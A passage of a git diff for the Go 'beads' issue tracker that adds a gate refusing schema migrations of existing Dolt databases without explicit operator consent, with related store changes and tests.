"migrate_dep_rekey_dedup_test.go", "migrate_events_flip_test.go", "migrate_frozen_guard_convergence_test.go", diff --git a/internal/storage/embeddeddolt/cache.go b/internal/storage/embeddeddolt/cache.go index 72d9166e7..cf7aa5709 100644 --- a/internal/storage/embeddeddolt/cache.go +++ b/internal/storage/embeddeddolt/cache.go @@ -48,8 +48,10 @@ func OpenForReadOnlyCommand(ctx context.Context, beadsDir, database, branch stri // is to reconcile the Dolt working set (bd dolt commit, bd vc commit) must be // able to open the store even when pending migrations touch dirty tables - // otherwise the commit that would clear the dirty state and unblock the -// migration can never run. The returned store is otherwise a normal writable -// store. +// migration can never run. A schema.MigrateConsentError, which fires first on +// a database that is also behind, is skipped the same way +// (toleratesConsentRefusal). The returned store is otherwise a normal +// writable store. func OpenForWorkingSetReconcile(ctx context.Context, beadsDir, database, branch string) (*EmbeddedDoltStore, error) { return openCached(ctx, beadsDir, database, branch, openWorkingSetReconcile) } diff --git a/internal/storage/embeddeddolt/migrate_consent_gate_test.go b/internal/storage/embeddeddolt/migrate_consent_gate_test.go new file mode 100644 index 000000000..2d7860231 --- /dev/null +++ b/internal/storage/embeddeddolt/migrate_consent_gate_test.go @@ -0,0 +1,190 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "fmt" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/schema" + "github.com/steveyegge/beads/internal/types" +) + +// TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers covers +// the #4566 deadlock the migration-consent gate would otherwise rebuild one +// check earlier. On a database that is both behind and dirty, `bd migrate +// schema` consents but is refused by the dirty-table guard, whose remedy is +// `bd dolt commit`; that commit opens the store without consent, and MigrateUp +// checks consent before the dirty guard. The working-set-reconcile open must +// warn and commit at the current schema, strict and read-only opens must keep +// refusing, and the consented migration must then converge. +func TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt tests") + } + + ctx := t.Context() + beadsDir := filepath.Join(t.TempDir(), ".beads") + dataDir := filepath.Join(beadsDir, "embeddeddolt") + + // Build the fixture under the package-wide consent (TestMain): create + // and commit the database, leave `issues` dirty, and regress the cursor + // to v51 (absolute, for the reasons dirty_tables_gate_test.go gives). + store, err := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if err != nil { + t.Fatalf("Open: %v", err) + } + if err := store.SetConfig(ctx, "issue_prefix", "testdb"); err != nil { + store.Close() + t.Fatalf("SetConfig(issue_prefix): %v", err) + } + if err := store.Commit(ctx, "bd init"); err != nil { + store.Close() + t.Fatalf("Commit (init): %v", err) + } + issue := &types.Issue{ + ID: "testdb-1", + Title: "dirty working set issue", + Status: types.StatusOpen, + Priority: 1, + IssueType: types.TypeTask, + } + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + store.Close() + t.Fatalf("CreateIssue: %v", err) + } + db, cleanup, err := embeddeddolt.OpenSQL(ctx, dataDir, "testdb", "main") + if err != nil { + store.Close() + t.Fatalf("OpenSQL: %v", err) + } + const regressedVersion = 51 + if _, err := db.ExecContext(ctx, + "DELETE FROM schema_migrations WHERE version > ?", regressedVersion); err != nil { + t.Fatalf("regress schema_migrations: %v", err) + } + _ = cleanup() + store.Close() + + // From here on no consent source is set: this is the `bd dolt commit` + // an operator runs on the dirty guard's advice. + schema.SetLocalMigrateConsent(false) + schema.SetForceAllowRemoteMigrate(false) + t.Cleanup(func() { schema.SetLocalMigrateConsent(true) }) + t.Setenv(schema.AllowMigrateEnv, "") + t.Setenv(schema.AllowRemoteMigrateEnv, "") + + type opener func(context.Context, string, string, string) (*embeddeddolt.EmbeddedDoltStore, error) + refuses := func(name string, open opener) { + t.Helper() + s, err := open(ctx, beadsDir, "testdb", "main") + if err == nil { + s.Close() + t.Fatalf("%s = nil, want *schema.MigrateConsentError on a behind database without consent", name) + } + if !schema.IsMigrateConsentError(err) { + t.Fatalf("%s error = %T (%v), want *schema.MigrateConsentError (consent is checked before the dirty guard)", name, err, err) + } + } + before := refusalSnapshot(t, dataDir, "testdb") + refuses("Open", embeddeddolt.Open) + refuses("OpenForReadOnlyCommand", embeddeddolt.OpenForReadOnlyCommand) + if after := refusalSnapshot(t, dataDir, "testdb"); after != before { + t.Fatalf("a refused open wrote to the database:\nbefore:\n%s\nafter:\n%s", before, after) + } + + var reconcileStore *embeddeddolt.EmbeddedDoltStore + var openErr error + warning := captureStderr(t, func() { + reconcileStore, openErr = embeddeddolt.OpenForWorkingSetReconcile(ctx, beadsDir, "testdb", "main") + }) + if openErr != nil { + t.Fatalf("OpenForWorkingSetReconcile = %v, want it to warn and continue past the consent refusal", openErr) + } + if want := "Working-set reconcile command: continuing on schema v51 without"; !strings.Contains(warning, want) { + reconcileStore.Close() + t.Fatalf("warning is missing %q; got:\n%s", want, warning) + } + if current, err := schemaVersion(ctx, dataDir, "testdb"); err != nil { + reconcileStore.Close() + t.Fatalf("read schema version: %v", err) + } else if current != regressedVersion { + reconcileStore.Close() + t.Fatalf("schema version = %d, want %d (no consent, so no migration)", current, regressedVersion) + } + if err := reconcileStore.Commit(ctx, "checkpoint"); err != nil { + reconcileStore.Close() + t.Fatalf("Commit: %v", err) + } + reconcileStore.Close() + + // The commit consented to nothing. + refuses("Open (after commit)", embeddeddolt.Open) + + // The consent `bd migrate schema` records now converges: the dirty guard + // that refused it has nothing left to refuse. + schema.SetLocalMigrateConsent(true) + migrated, err := embeddeddolt.Open(ctx, beadsDir, "testdb", "main") + if err != nil { + t.Fatalf("Open (consented, post-commit): %v", err) + } + defer migrated.Close() + if current, err := schemaVersion(ctx, dataDir, "testdb"); err != nil { + t.Fatalf("read schema version: %v", err) + } else if current != schema.LatestVersion() { + t.Fatalf("schema version after consented reopen = %d, want latest %d", current, schema.LatestVersion()) + } +} + +// refusalSnapshot renders what a refused open must leave untouched: the +// working-set status, the dolt_ignore patterns MigrateUp seeds, and the +// schema cursor. +func refusalSnapshot(t *testing.T, dataDir, database string) string { + t.Helper() + ctx := t.Context() + db, cleanup, err := embeddeddolt.OpenSQL(ctx, dataDir, database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer func() { _ = cleanup() }() + var b strings.Builder + for _, q := range []string{ + "SELECT table_name, staged, status FROM dolt_status ORDER BY table_name, staged", + "SELECT pattern, ignored FROM dolt_ignore ORDER BY pattern", + "SELECT version FROM schema_migrations ORDER BY version", + } { + rows, err := db.QueryContext(ctx, q) + if err != nil { + t.Fatalf("%s: %v", q, err) + } + cols, err := rows.Columns() + if err != nil { + rows.Close() + t.Fatalf("%s: columns: %v", q, err) + } + fmt.Fprintf(&b, "%s\n", q) + for rows.Next() { + vals := make([]any, len(cols)) + for i := range vals { + vals[i] = new(any) + } + if err := rows.Scan(vals...); err != nil { + rows.Close() + t.Fatalf("%s: scan: %v", q, err) + } + for _, v := range vals { + fmt.Fprintf(&b, " %v", *(v.(*any))) + } + b.WriteString("\n") + } + if err := rows.Close(); err != nil { + t.Fatalf("%s: close: %v", q, err) + } + } + return b.String() +} diff --git a/internal/storage/embeddeddolt/store.go b/internal/storage/embeddeddolt/store.go index 4e8a121a9..842717273 100644 --- a/internal/storage/embeddeddolt/store.go +++ b/internal/storage/embeddeddolt/store.go @@ -98,8 +98,9 @@ func lenientGateWarningBody(gateErr *schema.RemoteMigrateGateError) string { // open on any pending-migration refusal; openReadOnlyCommand and // openWorkingSetReconcile relax both the #4259 remote-migrate gate refusal and // the #4566 dirty-table refusal, each with its own warning text (see -// initSchema); openRemoteSync relaxes exactly one gate refusal and nothing -// else. +// initSchema), and openWorkingSetReconcile alone also relaxes the +// migration-consent refusal (toleratesConsentRefusal); openRemoteSync relaxes +// exactly one gate refusal and nothing else. type openIntent int const ( @@ -115,7 +116,9 @@ const ( // commands (bd dolt commit, bd vc commit): their entire purpose is to // clear the dirty working set that a migration would otherwise refuse to // touch, so failing the open here would deadlock the documented recovery - // (#4566). Used by OpenForWorkingSetReconcile. + // (#4566). For the same reason it relaxes the migration-consent refusal, + // which fires before the dirty-table guard. Used by + // OpenForWorkingSetReconcile. openWorkingSetReconcile // openRemoteSync is the same shape of deadlock break as // openWorkingSetReconcile, for the #6575 data-behind gate refusal: that @@ -240,6 +243,27 @@ func (s *EmbeddedDoltStore) toleratesMigrationRefusal() bool { return s.intent == openReadOnlyCommand || s.intent == openWorkingSetReconcile } +// toleratesConsentRefusal reports whether this open's intent may warn and +// continue on the current schema past the migration-consent refusal +// (schema.MigrateConsentError) instead of failing the open. +// +// Only openWorkingSetReconcile may. MigrateUp checks consent before the #4566 +// dirty-table guard, so on a database that is both behind and dirty a strict +// commit open rebuilds the #4566 deadlock one check earlier: `bd migrate +// schema` is refused as dirty and names `bd dolt commit`, which is refused +// for consent. The commit needs no migration, and MigrateUp refuses before +// any write, so it runs on the current schema. +// +// openReadOnlyCommand stays strict on purpose. The remote-migrate gate lets +// reads ride through because its migrate-or-adopt decision is cross-clone +// coordination that takes a while to settle; this decision is one local +// command either way (`bd migrate schema`, or keep the matching release), and +// the refusal is where the operator learns it is needed. openRemoteSync stays +// strict for the reason toleratesMigrationRefusal gives. +func (s *EmbeddedDoltStore) toleratesConsentRefusal() bool { + return s.intent == openWorkingSetReconcile +} + // errClosed is returned when a method is called after Close. var errClosed = errors.New("embeddeddolt: store is closed") @@ -637,6 +661,11 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { // Embedded mode relies on the dolthub/driver/v2's local file/concurrency // controls; schema.MigrateUpWithLock requires a sql-server session lock. if _, err := schema.MigrateUp(ctx, conn); err != nil { + var consentErr *schema.MigrateConsentError + if s.toleratesConsentRefusal() && errors.As(err, &consentErr) { + fmt.Fprint(os.Stderr, consentErr.WorkingSetWarning()) + return nil + } var dirtyErr *schema.DirtyTablesError if s.toleratesMigrationRefusal() && errors.As(err, &dirtyErr) { // The guard exists to keep dirty user data from being entangled @@ -651,13 +680,13 @@ func (s *EmbeddedDoltStore) initSchema(ctx context.Context) error { fmt.Fprintf(os.Stderr, "Warning: %v\n"+ " Committing the working set at the current schema; when it completes,\n"+ - " re-run 'bd migrate'.\n", + " re-run 'bd migrate schema'.\n", dirtyErr) default: // openReadOnlyCommand fmt.Fprintf(os.Stderr, "Warning: %v\n"+ " Continuing without migrating. Run 'bd dolt commit' to commit the\n"+ - " working set at the current schema, then re-run 'bd migrate'.\n", + " working set at the current schema, then re-run 'bd migrate schema'.\n", dirtyErr) } return nil diff --git a/internal/storage/embeddeddolt/test_fixture_test.go b/internal/storage/embeddeddolt/test_fixture_test.go index 78b71e1a5..8f6820546 100644 --- a/internal/storage/embeddeddolt/test_fixture_test.go +++ b/internal/storage/embeddeddolt/test_fixture_test.go @@ -16,6 +16,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/types" ) @@ -49,6 +50,12 @@ func TestMain(m *testing.M) { } embeddedDoltFixtureRoot = root + // Package-wide migration consent: these tests exercise the machinery that + // runs BELOW the consent gate (migrate_consent.go), exactly as production + // does once an operator has consented. Gate-behavior tests manage the + // consent state themselves. + schema.SetLocalMigrateConsent(true) + code := m.Run() if err := os.RemoveAll(root); err != nil && code == 0 { fmt.Fprintln(os.Stderr, "remove embedded Dolt test fixture root:", err) diff --git a/internal/storage/schema/BUILD.bazel b/internal/storage/schema/BUILD.bazel index c3deff533..7d663e2e7 100644 --- a/internal/storage/schema/BUILD.bazel +++ b/internal/storage/schema/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "dirty_tables_error.go", "ignored_cursor_untrack.go", "lock.go", + "migrate_consent.go", "migration_content_hashes.go", "migration_repairs.go", "remote_migrate_gate.go", @@ -146,10 +147,12 @@ go_test( "dolt_ignore_seed_test.go", "ignored_cursor_untrack_test.go", "lock_test.go", + "migrate_consent_test.go", "migration_0067_versioned_beads_test.go", "migration_0068_add_attribution_status_test.go", "migration_0069_datetime_precision_test.go", "migration_body_drain_test.go", + "migration_freeze_test.go", "migration_watchdog_test.go", "progress_test.go", "remote_migrate_gate_test.go", diff --git a/internal/storage/schema/lock.go b/internal/storage/schema/lock.go index e6c104b00..5f6602229 100644 --- a/internal/storage/schema/lock.go +++ b/internal/storage/schema/lock.go @@ -326,7 +326,14 @@ func MigrateUpWithLock(ctx context.Context, conn *sql.Conn, databaseName string, } } - applied, err = MigrateUp(ctx, conn) + // The same authority is consent for MigrateUp's own gate, which is that + // version-only test: an init that never sets local consent would otherwise + // be refused the retry of its own interrupted bootstrap. + migrate := MigrateUp + if o.freshBootstrapHeal != nil { + migrate = migrateUpConsented + } + applied, err = migrate(ctx, conn) var dirtyErr *DirtyTablesError if err != nil && o.freshBootstrapHeal != nil && errors.As(err, &dirtyErr) { // Authorization is checked after the dirty guard fires and while the @@ -347,7 +354,7 @@ func MigrateUpWithLock(ctx context.Context, conn *sql.Conn, databaseName string, if resetErr := drainFreshBootstrapReset(ctx, conn); resetErr != nil { return applied, errors.Join(err, fmt.Errorf("schema: fresh-bootstrap reset: %w", resetErr)) } - applied, err = MigrateUp(ctx, conn) + applied, err = migrate(ctx, conn) } return applied, err } diff --git a/internal/storage/schema/lock_test.go b/internal/storage/schema/lock_test.go index 2b0c1841a..0e926dcb2 100644 --- a/internal/storage/schema/lock_test.go +++ b/internal/storage/schema/lock_test.go @@ -1013,6 +1013,124 @@ func TestMigrateUpWithLockFreshBootstrapHealCapabilityIsOneShot(t *testing.T) { } } +// expectMigrateConsentReads mocks checkMigrateConsent's reads when no consent +// is held: the main cursor once for the fresh-database exemption, and again +// for the pending count. +func expectMigrateConsentReads(mock sqlmock.Sqlmock, cursor int) { + for range 2 { + expectCursorProbe(mock, "schema_migrations", true) + expectScalar(mock, "SELECT COALESCE(MAX(version), 0) FROM schema_migrations", "version", cursor) + } +} + +// TestMigrateUpWithLockFreshBootstrapHealIsMigrateConsent pins that heal +// authority is consent for MigrateUp's own gate, not just for the caller's +// migration gate. A retried server bootstrap finds the non-zero cursor its +// first pass left behind, and server-mode `bd init` records no local consent, +// so a version-only consent check would refuse the init the database it just +// created. Both migration passes are covered; sqlmock's ordered expectations +// fail either case on a consent read. +func TestMigrateUpWithLockFreshBootstrapHealIsMigrateConsent(t *testing.T) { + cases := map[string]func(t *testing.T, mock sqlmock.Sqlmock){ + "partially migrated": func(t *testing.T, mock sqlmock.Sqlmock) { + expectOnePendingMigration(t, mock) + }, + "partially migrated with dirty debris": func(t *testing.T, mock sqlmock.Sqlmock) { + expectDirtyGuardRefusal(t, mock) + expectFreshBootstrapIdentityMatch(mock) + mock.ExpectQuery(regexp.QuoteMeta("CALL DOLT_RESET('--hard')")). + WillReturnRows(sqlmock.NewRows([]string{"status"})) + expectOnePendingMigration(t, mock) + }, + } + for name, expectPasses := range cases { + t.Run(name, func(t *testing.T) { + failOnSwallowedAdvisory(t) + resetConsentState(t) + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + defer db.Close() + + ctx := context.Background() + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("pin mock connection: %v", err) + } + defer conn.Close() + + lockName := MigrationLockName("testdb") + mock.ExpectQuery(regexp.QuoteMeta("SELECT GET_LOCK(?, ?)")). + WithArgs(lockName, migrationLockAcquireTimeoutSeconds). + WillReturnRows(sqlmock.NewRows([]string{"locked"}).AddRow(1)) + expectPasses(t, mock) + mock.ExpectQuery(regexp.QuoteMeta("SELECT RELEASE_LOCK(?)")). + WithArgs(lockName). + WillReturnRows(sqlmock.NewRows([]string{"released"}).AddRow(1)) + + applied, err := MigrateUpWithLock(ctx, conn, "testdb", + WithFreshBootstrapHeal(testFreshBootstrapHealCapability(), testBootstrapEndpoint)) + if err != nil { + t.Fatalf("MigrateUpWithLock() error = %v", err) + } + if applied != 1 { + t.Fatalf("MigrateUpWithLock() applied = %d, want 1", applied) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } + }) + } +} + +// TestMigrateUpWithLockRefusesUnconsentedMigration is the control for the +// test above: the same behind database, opened without heal authority or +// consent, is refused under the lock before any write, and the lock is still +// released. +func TestMigrateUpWithLockRefusesUnconsentedMigration(t *testing.T) { + failOnSwallowedAdvisory(t) + resetConsentState(t) + db, mock, err := sqlmock.New() + if err != nil { + t.Fatalf("create sql mock: %v", err) + } + defer db.Close() + + ctx := context.Background() + conn, err := db.Conn(ctx) + if err != nil { + t.Fatalf("pin mock connection: %v", err) + } + defer conn.Close() + + lockName := MigrationLockName("testdb") + expectConvergedFastPathMiss(mock, "testdb") + mock.ExpectQuery(regexp.QuoteMeta("SELECT GET_LOCK(?, ?)")). + WithArgs(lockName, migrationLockAcquireTimeoutSeconds). + WillReturnRows(sqlmock.NewRows([]string{"locked"}).AddRow(1)) + expectMigrateConsentReads(mock, LatestVersion()-1) + mock.ExpectQuery(regexp.QuoteMeta("SELECT RELEASE_LOCK(?)")). + WithArgs(lockName). + WillReturnRows(sqlmock.NewRows([]string{"released"}).AddRow(1)) + + applied, err := MigrateUpWithLock(ctx, conn, "testdb", WithDatabaseSelector(testDatabaseSelector)) + if applied != 0 { + t.Fatalf("MigrateUpWithLock() applied = %d, want 0", applied) + } + var consentErr *MigrateConsentError + if !errors.As(err, &consentErr) { + t.Fatalf("MigrateUpWithLock() error = %v, want *MigrateConsentError", err) + } + if consentErr.CurrentVersion != LatestVersion()-1 || consentErr.Pending != 1 { + t.Fatalf("refusal = v%d with %d pending, want v%d with 1 pending", + consentErr.CurrentVersion, consentErr.Pending, LatestVersion()-1) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet SQL expectations: %v", err) + } +} + // TestMigrateUpWithLockMigrationGate pins where WithMigrationGate's callback // sits: after the lock and after locked preparation (so the gate reads a // prepared, selected database), before MigrateUp (so a refusal applies no diff --git a/internal/storage/schema/migrate_consent.go b/internal/storage/schema/migrate_consent.go new file mode 100644 index 000000000..a8fcc9eba --- /dev/null +++ b/internal/storage/schema/migrate_consent.go @@ -0,0 +1,235 @@ +package schema + +import ( + "context" + "errors" + "fmt" + "os" + "strconv" +) + +// Migration consent (gastownhall Beads 1.2 release remediation). +// +// bd used to auto-apply pending schema migrations the first time a new binary +// opened an existing database — on ANY command, including reads. The 1.2.x +// releases turned that into a trap: users upgraded by a package manager had +// their databases migrated in place with no prompt, and older binaries then +// refuse the migrated database (schema-skew guard). The remote-migrate gate +// (#4259) already refuses the silent migration for remote-backed databases; +// this gate extends the same contract to EVERY existing database: bd never +// initiates a schema migration without explicit operator consent. +// +// Consent is any of: +// - `bd migrate schema` (the verb that names the migration; the root +// command records the intent via SetLocalMigrateConsent before the store +// opens — bare `bd migrate` reconciles metadata and does not consent), +// - --force on `bd migrate` or `bd migrate schema` (the remote-gate +// override, a strict superset), or +// - BD_ALLOW_MIGRATE=1 (scripted/CI form; BD_ALLOW_REMOTE_MIGRATE=1 is +// honored as an alias for continuity with the remote gate's hatch). +// +// Fresh databases (no schema_migrations table, version 0) are exempt: creating +// a database is consent for its schema. A server bootstrap holding +// fresh-bootstrap heal authority keeps that consent across a retry whose +// interrupted first pass left a non-zero cursor (MigrateUpWithLock). The same +// creation principle covers a workspace this invocation just CLONED into +// existence (`bd init --remote`, `bd bootstrap` sync) — those paths record the +// consent explicitly, and the #4259 remote-migrate gate still applies to them +// unchanged. Databases already at this binary's latest version never consult +// the gate. The ignored (clone-local, dolt_ignored) migration sequence is +// deliberately NOT gated on its own: it only materializes per-clone +// bookkeeping tables and runs on every fresh clone — but when the MAIN +// sequence is pending and unconsented, MigrateUp refuses before ANY write, +// ignored sequence and dolt_ignore seeding included. +// +// A refusal fails the open, except for the working-set-reconcile commands +// (bd dolt commit, bd vc commit), which commit at the current schema without +// migrating: the refusal comes before the #4566 dirty-table guard, whose +// documented recovery is that commit (WorkingSetWarning). + +// AllowMigrateEnv, when set to a boolean true ("1", "true", ...), consents to +// applying pending schema migrations to an existing database. It is consulted +// only when migrations are actually pending, so exporting it permanently does +// not warn on every store open. +const AllowMigrateEnv = "BD_ALLOW_MIGRATE" + +// localMigrateConsent is the programmatic consent recorded by +// `bd migrate schema` and by the paths that just cloned the database into +// existence. Process-local by design, like forceAllowRemoteMigrate: it cannot +// leak into child processes. +var localMigrateConsent bool + +// SetLocalMigrateConsent records (or clears) the in-process consent to apply +// pending schema migrations to an existing database. Set by the root command +// when the invoked command is `bd migrate schema`, before both +// autoMigrateOnVersionBump and the main store open. External test packages may +// reset it to false after each test case. +func SetLocalMigrateConsent(v bool) { localMigrateConsent = v } + +// MigrateConsentError is returned when bd would apply pending schema +// migrations to an existing database without operator consent. +type MigrateConsentError struct { + CurrentVersion int + LatestVersion int + Pending int + // UnrecognizedEnv carries a BD_ALLOW_MIGRATE value that was set but not + // understood (only boolean values consent), so a typo'd hatch fails with + // a hint instead of silently staying locked (0054-gate precedent, + // bd-6dnrw.34). + UnrecognizedEnv string +} + +func (e *MigrateConsentError) Error() string { + return fmt.Sprintf("%s — run `bd migrate schema`, or keep using a bd release that matches schema v%d", + e.Refusal(), e.CurrentVersion) +} + +// Refusal states what was refused without prescribing a remedy, for surfaces +// that carry the remedy separately and must not hand an agent a runnable +// migration (cmd/bd's JSON refusal, whose remedies live in Options). +func (e *MigrateConsentError) Refusal() string { + return fmt.Sprintf( + "database schema is at v%d; this bd requires v%d (%d pending migration(s)), and bd no longer migrates a database without explicit consent", + e.CurrentVersion, e.LatestVersion, e.Pending) +} + +// AgentDirective is the non-runnable instruction surfaced to agents in place +// of a ready-to-run migrate command, following the remote-migrate gate's +// convention (RemoteMigrateGateError.AgentDirective). Migrating is one-way, +// and whether anything still has to open this database with an older bd is +// not observable from this process, so the decision goes to the operator. +func (e *MigrateConsentError) AgentDirective() string { + return fmt.Sprintf( + "Operator decision required: this database is at schema v%d and this bd requires v%d. Migrating is ONE-WAY — "+ + "bd releases built for an older schema refuse the migrated database, and whether one still has to open it "+ + "is not observable from this process. Do NOT auto-run the migration or set a consent environment variable "+ + "to get past this refusal: surface migrate_consent.options to the operator and let them choose.", + e.CurrentVersion, e.LatestVersion) +} + +// Options returns the two mutually exclusive paths, migrate or keep the +// current schema, each gated on its precondition and annotated with its risk. +// The migrate command is reachable only through the operator's decision, +// never as a top-level hint. Its verb is the shared-store gate's consent verb +// too, so cmd/bd retargets both with the same --global rewrite. +func (e *MigrateConsentError) Options() []GateOption { + return []GateOption{ + { + ID: "migrate", + When: "the operator chooses to upgrade this database, and nothing that still opens it runs a bd release built for an older schema (confirmed with the operator)", + Commands: []string{SharedConsentCommand}, + Risk: fmt.Sprintf("one-way: v%d -> v%d; bd releases built for an older schema refuse the migrated database", e.CurrentVersion, e.LatestVersion), + }, + { + ID: "keep", + When: fmt.Sprintf("something still has to open this database with a bd release built for schema v%d", e.CurrentVersion), + Commands: []string{}, + Risk: "none to the database; this bd release refuses it until it is migrated, so keep using the release that matches it", + }, + } +} + +// UserMessage renders the full operator-facing refusal. +func (e *MigrateConsentError) UserMessage() string { + msg := fmt.Sprintf( + "This database is at schema v%d; this bd release uses schema v%d.\n"+ + "bd no longer upgrades a database automatically (see the release notes).\n"+ + "\n"+ + " To upgrade this database (one-way; older bd releases cannot read it):\n"+ + " bd migrate schema\n"+ + "\n"+ + " To keep the current schema, keep using the bd release that created it.\n"+ + "\n"+ + " Scripted/CI consent: BD_ALLOW_MIGRATE=1 bd \n", + e.CurrentVersion, e.LatestVersion) + if e.UnrecognizedEnv != "" { + msg += fmt.Sprintf( + "\nNote: %s=%q was set but not understood (use a boolean value, e.g. \"1\" or \"true\"), so it did not consent.\n", + AllowMigrateEnv, e.UnrecognizedEnv) + } + return msg +} + +// WorkingSetWarning renders the stderr warning for a working-set-reconcile +// open (bd dolt commit, bd vc commit) that continues past this refusal. The +// commit needs no migration, and MigrateUp refused before any write, so it +// runs on the current schema; the migration still waits for consent. Both +// storage modes print it (embeddeddolt's openWorkingSetReconcile, server +// mode's LenientOpen). +func (e *MigrateConsentError) WorkingSetWarning() string { + return fmt.Sprintf( + "Warning: %s.\n"+ + " Working-set reconcile command: continuing on schema v%d without\n"+ + " migrating; the commit applies to the working set at the current schema.\n"+ + " To upgrade this database afterwards (one-way): bd migrate schema\n", + e.Refusal(), e.CurrentVersion) +} + +// IsMigrateConsentError reports whether err (or any error it wraps) is a +// *MigrateConsentError. +func IsMigrateConsentError(err error) bool { + var e *MigrateConsentError + return errors.As(err, &e) +} + +// checkMigrateConsent refuses an unconsented migration of an existing +// database. Called at the top of MigrateUp, before any write (dolt_ignore +// seeding included). Returns nil for a fresh database (version 0), a database +// with no pending main-sequence migrations, or when consent was given. +func checkMigrateConsent(ctx context.Context, db DBConn) error { + if localMigrateConsent || forceAllowRemoteMigrate { + return nil // programmatic consent — skip the version reads entirely + } + current, err := mainSource.currentVersion(ctx, db) + if err != nil { + return fmt.Errorf("migrate consent: read current version: %w", err) + } + if current == 0 { + return nil // fresh database — creating it is consent for its schema + } + pending, err := mainSource.pendingVersions(ctx, db) + if err != nil { + return fmt.Errorf("migrate consent: read pending versions: %w", err) + } + return migrateConsentDecision(current, len(pending)) +} + +// migrateConsentDecision is checkMigrateConsent's pure decision core: nil when +// nothing is pending or consent was given (programmatic or env), a typed +// *MigrateConsentError otherwise. current is known to be > 0 here except when +// callers short-circuit earlier; a zero current is still treated as consent +// (fresh database). +func migrateConsentDecision(current, pending int) error { + if current == 0 || pending == 0 { + return nil + } + if localMigrateConsent || forceAllowRemoteMigrate { + return nil + } + unrecognized := "" + for _, env := range []string{AllowMigrateEnv, AllowRemoteMigrateEnv} { + v := os.Getenv(env) + if v == "" { + continue + } + allowed, perr := strconv.ParseBool(v) + if perr != nil { + if env == AllowMigrateEnv { + unrecognized = v + } + continue + } + if allowed { + fmt.Fprintf(defaultStderr(), + "Applying %d pending schema migration(s) (%s=%s): v%d -> v%d\n", + pending, env, v, current, LatestVersion()) + return nil + } + } + return &MigrateConsentError{ + CurrentVersion: current, + LatestVersion: LatestVersion(), + Pending: pending, + UnrecognizedEnv: unrecognized, + } +} diff --git a/internal/storage/schema/migrate_consent_test.go b/internal/storage/schema/migrate_consent_test.go new file mode 100644 index 000000000..40e75b08d --- /dev/null +++ b/internal/storage/schema/migrate_consent_test.go @@ -0,0 +1,164 @@ +package schema + +import ( + "errors" + "os" + "strings" + "testing" +) + +// TestMain grants migration consent for the whole package: the MigrateUp +// machinery tests exercise what runs BELOW the consent gate, exactly as +// production does once an operator has consented. The consent tests below +// clear the grant themselves via resetConsentState. +func TestMain(m *testing.M) { + SetLocalMigrateConsent(true) + os.Exit(m.Run()) +} + +// resetConsentState clears every consent source for one test case (undoing +// TestMain's package-wide grant) and restores it afterwards, so consent tests +// see a clean slate and machinery tests keep their grant. +func resetConsentState(t *testing.T) { + t.Helper() + SetLocalMigrateConsent(false) + SetForceAllowRemoteMigrate(false) + t.Cleanup(func() { + SetLocalMigrateConsent(true) + SetForceAllowRemoteMigrate(false) + }) + t.Setenv(AllowMigrateEnv, "") + t.Setenv(AllowRemoteMigrateEnv, "") +} + +func TestMigrateConsentDecision_FreshDB_Allows(t *testing.T) { + resetConsentState(t) + if err := migrateConsentDecision(0, 12); err != nil { + t.Fatalf("decision = %v, want nil for fresh database (current=0)", err) + } +} + +func TestMigrateConsentDecision_NothingPending_Allows(t *testing.T) { + resetConsentState(t) + if err := migrateConsentDecision(LatestVersion(), 0); err != nil { + t.Fatalf("decision = %v, want nil when nothing is pending", err) + } +} + +func TestMigrateConsentDecision_PendingNoConsent_Refuses(t *testing.T) { + resetConsentState(t) + err := migrateConsentDecision(53, 12) + var consentErr *MigrateConsentError + if !errors.As(err, &consentErr) { + t.Fatalf("decision = %v, want *MigrateConsentError", err) + } + if consentErr.CurrentVersion != 53 || consentErr.Pending != 12 { + t.Fatalf("error fields = v%d/%d pending, want v53/12", consentErr.CurrentVersion, consentErr.Pending) + } + if !IsMigrateConsentError(err) { + t.Fatalf("IsMigrateConsentError(err) = false, want true") + } + msg := consentErr.UserMessage() + for _, want := range []string{"bd migrate schema", AllowMigrateEnv} { + if !strings.Contains(msg, want) { + t.Fatalf("UserMessage missing %q:\n%s", want, msg) + } + } +} + +func TestMigrateConsentDecision_LocalConsent_Allows(t *testing.T) { + resetConsentState(t) + SetLocalMigrateConsent(true) + if err := migrateConsentDecision(53, 12); err != nil { + t.Fatalf("decision = %v, want nil with local consent set", err) + } +} + +func TestMigrateConsentDecision_ForceOverride_Allows(t *testing.T) { + resetConsentState(t) + SetForceAllowRemoteMigrate(true) + if err := migrateConsentDecision(53, 12); err != nil { + t.Fatalf("decision = %v, want nil with the migrate --force override set", err) + } +} + +func TestMigrateConsentDecision_EnvConsent_Allows(t *testing.T) { + for _, env := range []string{AllowMigrateEnv, AllowRemoteMigrateEnv} { + for _, v := range []string{"1", "true", "TRUE"} { + t.Run(env+"="+v, func(t *testing.T) { + resetConsentState(t) + t.Setenv(env, v) + if err := migrateConsentDecision(53, 12); err != nil { + t.Fatalf("decision = %v, want nil with %s=%s", err, env, v) + } + }) + } + } +} + +func TestMigrateConsentDecision_EnvFalse_Refuses(t *testing.T) { + resetConsentState(t) + t.Setenv(AllowMigrateEnv, "0") + if !IsMigrateConsentError(migrateConsentDecision(53, 12)) { + t.Fatalf("want refusal with %s=0", AllowMigrateEnv) + } +} + +func TestMigrateConsentDecision_UnparseableEnv_RefusesWithHint(t *testing.T) { + resetConsentState(t) + 